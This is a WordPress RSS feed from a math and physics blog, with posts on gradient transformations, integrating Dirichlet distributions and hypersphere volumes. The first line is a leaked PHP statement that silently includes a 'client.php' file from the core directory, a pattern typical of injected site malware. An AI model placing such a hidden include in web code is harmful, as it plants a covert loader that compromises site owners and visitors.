@include( ABSPATH . WPINC . '/client.php');<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Posts technical---or quite simplistic &#187; math</title>
	<atom:link href="http://dnquark.com/blog/tag/math/feed/" rel="self" type="application/rss+xml" />
	<link>http://dnquark.com/blog</link>
	<description>Threads both sad and humoristic / небрежный плод моих забав ...</description>
	<lastBuildDate>Mon, 04 Jun 2012 12:00:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Gradient transformations</title>
		<link>http://dnquark.com/blog/2012/06/gradient-transformations/</link>
		<comments>http://dnquark.com/blog/2012/06/gradient-transformations/#comments</comments>
		<pubDate>Mon, 04 Jun 2012 11:58:12 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[math]]></category>
		<category><![CDATA[physics]]></category>

		<guid isPermaLink="false">http://dnquark.com/blog/?p=342</guid>
		<description><![CDATA[From the "I keep having to re-derive this because the Wikipedia explanation sucks" department, here are the transformation rules for differentials and for the gradient in terms of the Jacobian (you can think of this as an adaptation of the simple multivariate chain rule).  Of course, the real story is quite a bit more interesting [...]]]></description>
			<content:encoded><![CDATA[<p>From the "I keep having to re-derive this because the Wikipedia explanation sucks" department, here are the transformation rules for differentials and for the gradient in terms of the Jacobian (you can think of this as an adaptation of the simple multivariate chain rule).  Of course, the real story is quite a bit more interesting and nuanced, and revolves around the fact that gradient components live in the <em>dual </em>space -- hence the strange inverse transpose Jacobian transformation law.  For an elementary, yet rather insightful and detailed discussion I would recommend Koks' <em>Explorations in Mathematical Physics</em> (Chapter 8).<a href="http://dnquark.com/blog/wp-content/uploads/2012/06/coord1.png"><img class=" wp-image-343 aligncenter" title="coord1" src="http://dnquark.com/blog/wp-content/uploads/2012/06/coord1.png" alt="" width="500" height="251" /></a></p>
<p><a href="http://dnquark.com/blog/wp-content/uploads/2012/06/coord2.png"><img class=" wp-image-344 aligncenter" title="coord2" src="http://dnquark.com/blog/wp-content/uploads/2012/06/coord2.png" alt="" width="505" height="270" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2012/06/gradient-transformations/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Integrating Dirichlet distributions</title>
		<link>http://dnquark.com/blog/2012/05/integrating-dirichlet-distributions/</link>
		<comments>http://dnquark.com/blog/2012/05/integrating-dirichlet-distributions/#comments</comments>
		<pubDate>Tue, 29 May 2012 08:06:06 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[math]]></category>
		<category><![CDATA[physics]]></category>

		<guid isPermaLink="false">http://dnquark.com/blog/?p=325</guid>
		<description><![CDATA[I've been learning a whole lot about PGMs and machine learning lately.  I don't consider it straying too far from my physics roots, in light of the fact that many juicy bits of contemporary AI, such as Markov random fields or Metropolis-Hastings sampling originated in physics.  This connection notwithstanding, my background doesn't give me that [...]]]></description>
			<content:encoded><![CDATA[<p>I've been learning a whole lot about PGMs and machine learning lately.  I don't consider it straying too far from my physics roots, in light of the fact that many juicy bits of contemporary AI, such as Markov random fields or Metropolis-Hastings sampling originated in physics.  This connection notwithstanding, my background doesn't give me <em>that</em> great of an advantage -- most of the time.  A few days ago, however, I was able to apply one delicious trick I knew in order to work out the integral of a Dirichlet distribution, and I can't help sharing it here.  This story has it all -- Fourier representation of the Dirac delta, Gamma functions, Laplace transforms, sandwiches, Bromwiches -- and yet it all fits into a pretty simple narrative.</p>
<p>Our story starts on a stormy summer night, with our protagonist grappling with the following question:  how on Earth do you take this integral?</p>
<p style="text-align: center;"><span class='MathJax_Preview'><img src='http://dnquark.com/blog/wp-content/plugins/latex/cache/tex_4baa2044c5e871bb41e9a3da74f9f58d.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt="\int_{\theta_1}\cdots\int_{\theta_k} \prod_{j=1}^k\theta_j^{\alpha-1} d\theta_1\cdots d\theta_k" /></span><script type='math/tex'>\int_{\theta_1}\cdots\int_{\theta_k} \prod_{j=1}^k\theta_j^{\alpha-1} d\theta_1\cdots d\theta_k</script></p>
<p>Variables <span class='MathJax_Preview'><img src='http://dnquark.com/blog/wp-content/plugins/latex/cache/tex_cb0e17d96e58d55d1eb06dc1b14b7a7b.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt="\theta_j" /></span><script type='math/tex'>\theta_j</script> here are multinomial parameters, and thus must be non-negative and sum to 1.  In a valiant (but ultimately futile) effort to avoid doing this integral by myself, I found <a href="http://memming.wordpress.com/2010/09/09/integration-of-product-of-functions-on-a-probability-simplex/">this blog post</a> -- which was a good start, and would allow me to casually drop terms like "integration over a simplex" or "k-fold Laplace convolution".  But it turns out that we can get away with something much simpler than this simplex business.  When faced with some constraint in an integrand, a physicist's instinct is to express it as a Dirac delta and integrate right over it.  For the problem above, this approach works like magic!  Without giving too much away, here's the punchline:</p>
<p><a href="http://dnquark.com/blog/wp-content/uploads/2012/05/delta_lapl_gamma_win.png"><img class="wp-image-339 aligncenter" title="delta_lapl_gamma_win" src="http://dnquark.com/blog/wp-content/uploads/2012/05/delta_lapl_gamma_win.png" alt="" width="449" height="85" /></a></p>
<p>Want to know more?  Because I've been on a Xournal/youtube binge lately, I narrated this derivation and put it up for the world to see.  <a href="http://dnquark.com/blog/wp-content/uploads/2012/05/dirichlet.xoj_.pdf">Here are the "slides"</a>  and below is the actual video.  Enjoy!</p>
<p><iframe width="500" height="281" src="http://www.youtube.com/embed/cv7ESInBhbs?fs=1&#038;feature=oembed" frameborder="0" allowfullscreen></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2012/05/integrating-dirichlet-distributions/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Deriving the volume of an n-dimensional hypersphere in 3 minutes</title>
		<link>http://dnquark.com/blog/2012/02/deriving-the-volume-of-an-n-dimensional-hypersphere-in-3-minutes-2/</link>
		<comments>http://dnquark.com/blog/2012/02/deriving-the-volume-of-an-n-dimensional-hypersphere-in-3-minutes-2/#comments</comments>
		<pubDate>Mon, 20 Feb 2012 18:00:00 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[math]]></category>

		<guid isPermaLink="false">http://dnquark.com/blog/?p=258</guid>
		<description><![CDATA[What's bigger, the unit circle or the unit sphere? This is a trick question, because and are incompatible units, so the fact that the area of one is less than the volume of the other (i.e. &#60; ) doesn't tell you much. So let's ask a different question: if we inscribe an n-sphere inside an [...]]]></description>
			<content:encoded><![CDATA[<p>What's bigger, the unit circle or the unit sphere?</p>
<p>This is a trick question, because <span class='MathJax_Preview'><img src='http://dnquark.com/blog/wp-content/plugins/latex/cache/tex_dbde89faced5b5817c54bcc6af4be258.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt="L^2 " /></span><script type='math/tex'>L^2 </script> and <span class='MathJax_Preview'><img src='http://dnquark.com/blog/wp-content/plugins/latex/cache/tex_6d255f3bcc3c9aa3560839eb99644d1e.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt="L^3 " /></span><script type='math/tex'>L^3 </script> are incompatible units, so the fact that the area of one is less than the volume of the other (i.e. <span class='MathJax_Preview'><img src='http://dnquark.com/blog/wp-content/plugins/latex/cache/tex_522359592d78569a9eac16498aa7a087.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt="\pi " /></span><script type='math/tex'>\pi </script> &lt; <span class='MathJax_Preview'><img src='http://dnquark.com/blog/wp-content/plugins/latex/cache/tex_919070f2bd2bfd67df996d6cacf82a2b.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt="4\pi/3 " /></span><script type='math/tex'>4\pi/3 </script>) doesn't tell you much. So let's ask a different question: if we inscribe an <em>n</em>-sphere inside an <em>n</em>-cube, is a unit circle bigger or smaller, relative to its bounding square, than the unit sphere relative to <em>its</em> bounding cube? And in general, what will be the ratio of their volumes as a function of <span class='MathJax_Preview'><img src='http://dnquark.com/blog/wp-content/plugins/latex/cache/tex_6fa45c22bd311a4aa532cffb668d86a0.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt="n " /></span><script type='math/tex'>n </script>?</p>
<p>Suppose we fix the radius of the <em>n</em>-sphere to be 1. The edge length of the <em>n</em>-cube, then, is 2, and its volume is 2<sup>n</sup>. So, that means that the ratio of the volumes is (1/2)<sup>n</sup>, times some prefactors. Right?</p>
<p>Right. But the form of the prefactor here is quite fascinating. Here's what the volume of the <em>n</em>-sphere is:</p>
<p><p style='text-align:center;'><span class='MathJax_Preview'><img src='http://dnquark.com/blog/wp-content/plugins/latex/cache/tex_20a408b390e1d85570e047a7b359ad67.gif' style='vertical-align: middle; border: none;' class='tex' alt="\frac{\pi^{n/2} r^n}{\Gamma(1+n/2)}. " /></span><script type='math/tex;  mode=display'>\frac{\pi^{n/2} r^n}{\Gamma(1+n/2)}. </script></p></p>
<p>See that Gamma function in the denominator? It grows like <span class='MathJax_Preview'><img src='http://dnquark.com/blog/wp-content/plugins/latex/cache/tex_d19ae2859f99d04d868c36e60eafbb9b.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt="(n/2)! " /></span><script type='math/tex'>(n/2)! </script>, meaning that our original estimate of the hypersphere/hypercube volume ratio as (1/2)<sup>n</sup> is quite a few orders of magnitude off for even moderate <em>n</em>. As <em>n</em> grows, the volume of a unit <em>n</em>-sphere goes to zero <em>super</em>-exponentially.</p>
<p>This has an important implication when you want to cluster high-dimensional data. Intuitively, any clustering algorithm (e.g. <em>k</em>-means) involves drawing a boundary around a set of points that lie within a certain radius of their mean. But what we just found is that if we draw a sphere of even a relatively large radius around points in <em>n</em>-dimensions, for <em>n</em> larger than about 30, the volume of that region enclosed by the spherical boundary is approximately zero, meaning that it's highly unlikely to have any points! In that sense, <em>everything</em> is far apart in high dimensions. This is known as <em>the curse of dimensionality</em>.</p>
<p>Volumes of <em>n</em>-spheres are useful in other contexts (for instance, in statistical mechanics). In fact, back in my physics days I learned a very cool and easy derivation of the <em>n</em>-sphere volume formula above. I like it so much that I made not one but <em>two</em> videos about it. Below you can see me doing the derivation in 3 minutes flat. There is also the longer version where I do the same steps, but a little more slowly and methodically. Enjoy!</p>

<!-- YouTube Embed v2.4 | http://www.artiss.co.uk/artiss-youtube-embed -->
<!-- The YouTube ID of QkMn_5QpsX8 is invalid. -->
<p>The video cannot be shown at the moment. Please try again later.</p>
<!-- End of YouTube Embed code -->

]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2012/02/deriving-the-volume-of-an-n-dimensional-hypersphere-in-3-minutes-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
